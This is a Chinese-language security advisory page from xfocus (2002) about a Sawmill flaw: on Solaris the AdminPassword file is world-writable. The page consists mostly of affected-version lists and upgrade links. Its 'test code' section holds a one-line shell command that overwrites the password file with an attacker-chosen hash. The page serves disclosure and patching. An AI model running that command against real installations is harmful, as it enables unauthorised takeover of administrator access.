xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version
 最近严重漏洞 
Microsoft RPC接口远程任意代码可执行漏洞
Cisco IOS接口不正确处理IPV4包远程拒绝服务漏洞
Microsoft Windows CreateFile API命名管道权限提升漏洞

Sawmill AdminPassword 不安全默认权限漏洞


发布时间：2002-02-18
更新时间：2002-02-18
严重程度：高
威胁程度：口令恢复
错误类型：设计错误
利用方式：服务器模式

BUGTRAQ ID：4077

受影响系统
Sawmill Sawmill 6.2
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.1
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.2
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.3
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.4
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.5
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.6
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.7
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.8a
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.8
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.9
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.10
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.11
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.12
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.13
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
Sawmill Sawmill 6.2.14
   - Apple MacOS 9.0
   - Apple MacOS 9.0.4
   - Apple MacOS 9.1
   - Apple MacOS 9.2
   - Apple MacOS 9.2.1
   - Apple MacOS X 10.0
   - Apple MacOS X 10.0.1
   - Apple MacOS X 10.0.2
   - Apple MacOS X 10.0.3
   - Apple MacOS X 10.0.4
   - Apple MacOS X 10.1
   - Apple MacOS X 10.1.1
   - Apple MacOS X 10.1.2
   - Microsoft Windows 2000 Professional
   - Microsoft Windows 2000 Professional SP1
   - Microsoft Windows 2000 Professional SP2
   - Microsoft Windows NT Workstation 4.0
   - Microsoft Windows NT Workstation 4.0SP1
   - Microsoft Windows NT Workstation 4.0SP2
   - Microsoft Windows NT Workstation 4.0SP3
   - Microsoft Windows NT Workstation 4.0SP4
   - Microsoft Windows NT Workstation 4.0SP5
   - Microsoft Windows NT Workstation 4.0SP6a
   - Sun Solaris 2.6
   - Sun Solaris 7.0
   - Sun Solaris 8.0
详细描述
Sawmill 是一款商业日志分析软件，运行在多种系统平台上。

Sawmill 在Solaris上以不安全的默认权限建立了AdminPassword文件，其全局
可读写。本地用户可以通过写AdminPassword文件而获得对Sawmill的访问。

测试代码
rm AdminPassword; echo mypasswd | perl -p -e 'chomp' | md5sum | | sed 's/ -//' | perl -p -e 'chomp' > AdminPassword

解决方案
下载使用升级程序：

Sawmill Sawmill 6.2:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.1:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.2:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.3:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.4:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.5:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.6:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.7:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.8a:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.8:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.9:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.10:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.11:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.12:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.13:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

Sawmill Sawmill 6.2.14:

Sawmill Upgrade Sawmill 6.2.15
http://www.sawmill.net/downloads.html

相关信息
参考：http://www.securityfocus.com/archive/1/255533
相关主页：http://www.sawmill.net/
Copyright © 1998-2003 XFOCUS Team. All Rights Reserved